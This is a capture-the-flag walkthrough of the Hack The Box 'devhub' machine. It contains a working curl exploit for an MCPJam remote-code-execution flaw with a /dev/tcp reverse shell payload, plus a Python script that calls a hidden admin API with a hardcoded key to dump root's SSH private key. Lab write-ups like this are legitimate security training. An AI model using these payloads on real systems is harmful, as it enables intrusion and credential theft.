SpiderSec logoSpiderSec
WRITEUPLINUX · MEDIUM · 30 PTS · 2026-09-262026-09-26 · 10 min read

Hack The Box devhub — Full Writeup

A complete step-by-step penetration testing walkthrough of the HTB devhub machine.

HKHamza khairi
  • HTB
  • Devhub
  • Linux
  • Medium
  • Web
  • Privilege Escalation
Hack The Box devhub — Full Writeup
OS
Linux
DIFFICULTY
Medium
POINTS
30 pts
RELEASED
2026-09-26

Enumeration

I started by checking whether the target machine was reachable using ping before moving on to port and service enumeration.

bash
ping -c 4 10.129.120.169
output
Successful ICMP replies received. TTL=63.
Ping results showing successful connectivity to the target machine
Initial connectivity check. The target responds with a TTL value of 63.

After confirming connectivity, I launched an Nmap scan to enumerate all TCP ports, identify running services and their versions, and run the default NSE scripts.

bash
nmap -sS -sC -sV -p- -oN nmap/nmap.txt 10.129.120.169
output
See the Nmap scan screenshot for the discovered ports and services.
Nmap full TCP port scan results for the DevHub target
The scan revealed three open TCP ports: 22 (SSH), 80 (HTTP), and 6274 (HTTP). I decided to investigate both web services to discover what they host.

Web Enumeration

After identifying the open ports, I started investigating the two HTTP services to discover what was running on each one.

Web Enumeration — Port 80

I opened the web application hosted on port 80 and explored the available pages. I didn't find anything particularly interesting during this initial inspection, so I moved on to the second web service.

Web Enumeration — Port 6274

Next, I accessed the HTTP service on port 6274. This time, I discovered MCPJam, running version v1.4.2. This gave me a specific application and version to investigate further.

MCPJam web interface running on port 6274
MCPJam web interface identifying version v1.4.2.

Initial Access

After identifying MCPJam v1.4.2 on port 6274, I searched for publicly documented vulnerabilities affecting the application. During this research, I found CVE-2026-23744 and a GitHub post describing an RCE vulnerability relevant to MCPJam.

GitHub post documenting the MCPJam remote code execution vulnerability
GitHub research identifying CVE-2026-23744 and the reported RCE vulnerability.

Based on this research, I tested the exposed MCP connection endpoint by sending a crafted JSON request. The request supplied /bin/bash as the command and used it to execute a reverse shell back to my attacking machine.

bash
curl http://devhub.htb:6274/api/mcp/connect --header "Content-Type: application/json" --data '{"serverConfig":{"command":"/bin/bash","args":["-c","/bin/bash -i >& /dev/tcp/IP/9090 0>&1"],"env":{}},"serverId":"mytest"}'
output
The request triggered command execution and established a reverse shell.
Terminal showing the successful reverse shell connection
Initial access obtained through remote command execution in MCPJam.

The reverse shell provided my initial foothold on the target machine. With access established, I could begin investigating the local environment and looking for a path to privilege escalation.

Shell Stabilization

The initial shell was unstable, so I upgraded it to a proper interactive shell.

bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
bash
export TERM=xterm

The shell was now much easier to work with.

User Enumeration

After obtaining the initial foothold, I started looking for the user flag and exploring the local environment. I checked the home directory and discovered another user's directory, but I didn't have permission to access it directly.

Instead of trying to access the directory directly, I decided to investigate the processes running under that user's account to identify any services or applications that might provide another way forward.

bash
ps aux | grep analys
output
JupyterLab was running under the analyst user's account on port 8888.
Process listing showing JupyterLab running under the analyst user
Process enumeration revealed a JupyterLab instance associated with the analyst user.

The discovery of JupyterLab running on port 8888 caught my attention. I decided to investigate whether I could access the service through SSH port forwarding and inspect its interface from my local browser.

Accessing JupyterLab Through SSH Tunneling

I set up an SSH tunnel to forward the remote port 8888 to my local machine. This would allow me to access the JupyterLab web interface through localhost in my browser, without exposing the service directly to the network.

Process listing showing JupyterLab running under the analyst user
JupyterLab interface accessed through a local SSH tunnel
JupyterLab accessed locally through SSH port forwarding.

User Access

When I accessed the JupyterLab interface through the SSH tunnel, I was prompted to provide an authentication token. Looking back at the user enumeration results, I noticed that the JupyterLab command line exposed the token in the process arguments.

I extracted the token from the previously identified process information and used it to authenticate to JupyterLab. This allowed me to access the running instance associated with the analyst user.

Authenticated JupyterLab session running as analyst
Successful authentication provided access to the JupyterLab session.

With access to the JupyterLab session, I obtained a shell in the analyst user's context and located the user flag, completing the user-level objective.

User flag obtained after gaining access to the analyst session.

Privilege Escalation — Root

After obtaining the user flag as analyst, I continued enumerating the machine to identify potential privilege escalation paths. I discovered an internal Flask application listening on port 5000 and inspected its source code at /opt/opsmcp/server.py.

Source code of the OPSMCP Flask application
Inspecting the OPSMCP source code revealed hidden administrative tools.

The application contained two hidden tools, ops._debug_mode and ops._admin_dump, that were callable through the API despite being excluded from the public tool listing. The administrative dump function could return sensitive credentials, including the root user's SSH private key, when called with the appropriate arguments.

Exploiting the Hidden Administrative Tool

After identifying the exposed functionality and the API key in the source code, I wrote a short Python script using the requests library to invoke ops._admin_dump. By specifying ssh_keys as the target and setting confirm to true, I was able to retrieve the root SSH private key.

import requests

BASE_URL = "http://127.0.0.1:5000"
API_KEY = "opsmcp_secret_key_4f5a6b7c8d9e0f1a"

session = requests.Session()
session.headers.update({
    "X-API-Key": API_KEY,
    "Content-Type": "application/json",
})

response = session.post(
    f"{BASE_URL}/tools/call",
    json={
        "name": "ops._admin_dump",
        "arguments": {
            "target": "ssh_keys",
            "confirm": True
        },
    },
    timeout=5,
)
print("[+] Debug response:", response.status_code)
print(response.text)

Root Access via SSH

I saved the retrieved private key to a local file and restricted its permissions to ensure SSH would accept it.

bash
chmod 600 root_key

I then used the recovered private key to authenticate to the target as root over SSH, gaining full administrative access.

bash
ssh -i root_key root@devhub.htb
Successful SSH session as root
Root shell obtained using the recovered SSH private key.

Finally, I located and retrieved the root flag, completing the DevHub machine.

Successfully retrieved the root flag.

Final Thoughts

DevHub was a good example of how web enumeration can lead to remote code execution, user access, and ultimately root privileges. The machine highlighted the importance of investigating exposed services, reviewing application source code, and examining local processes for potential privilege escalation paths.

  • Enumerate every exposed service and investigate unusual ports.
  • Research application versions and verify potentially relevant CVEs.
  • Inspect running processes for exposed tokens and sensitive information.
  • Investigate internal services and use SSH port forwarding when appropriate.
  • Review source code for hidden API functionality and insecure credential handling.
  • Understand how exposed SSH private keys can lead to privilege escalation.
  • Secure sensitive credentials and avoid exposing secrets in process arguments or API responses.
SpiderSec

Watch the full walkthroughs

Want to see these machines and labs solved in real time? Check out my YouTube channel for full penetration testing walkthroughs, techniques, and practical cybersecurity content.

WATCH ON YOUTUBE↗